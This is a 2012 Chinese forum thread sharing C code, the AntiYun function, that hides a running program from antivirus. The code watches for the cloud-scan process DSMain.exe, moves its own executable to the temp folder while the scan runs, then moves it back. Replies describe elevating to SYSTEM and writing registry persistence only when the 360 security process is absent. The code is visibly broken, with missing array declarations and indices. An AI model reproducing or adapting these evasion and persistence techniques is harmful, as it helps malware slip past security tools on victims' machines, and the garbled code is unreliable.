循环移动代码
void __stdcall AntiYun(){
char strDSMain = {0}; // DSMain.exe
strDSMain = 'D';
strDSMain = 'S';
strDSMain = 'M';
strDSMain = 'a';
strDSMain = 'i';
strDSMain = 'n';
strDSMain = '.';
strDSMain = 'e';
strDSMain = 'x';
strDSMain = 'e';
strDSMain = '\0';
char szpathname;
char szfilename;
char szextname;
char MyPath, TempPath;
GetTempPath(sizeof(TempPath), TempPath );
GetModuleFileName( CKeyboardManager::g_hInstance, MyPath, sizeof(MyPath) );
splitname(MyPath, szpathname, szfilename, szextname);
lstrcat( TempPath, "\\" );
lstrcat( TempPath, szfilename );
for (;;)
{
Sleep(100);
if (GetProcessID(strDSMain))
{
OutputDebugString("发现云查杀进程,移动文件");
MoveFile( MyPath, TempPath );
Sleep(100);
for (;;)
{
Sleep(100);
if (!GetProcessID(strDSMain))
{
OutputDebugString("云查杀进程退出了,把文件移回来");
MoveFile( TempPath, MyPath );
break;
}
Sleep(3000); // 每3秒循环一次检测
}
}
Sleep(3000); // 每3秒循环一次检测
}
}
这个早就有了 有没有关机时写注册表的代码 看看 xhjzgsdzylj 发表于 2012-6-27 09:57 static/image/common/back.gif
有没有关机时写注册表的代码
有地。提升进程权限到system 然后循环遍历 当360进程不在的时候进行写入。
但是360好像拦截提权
页:
[1]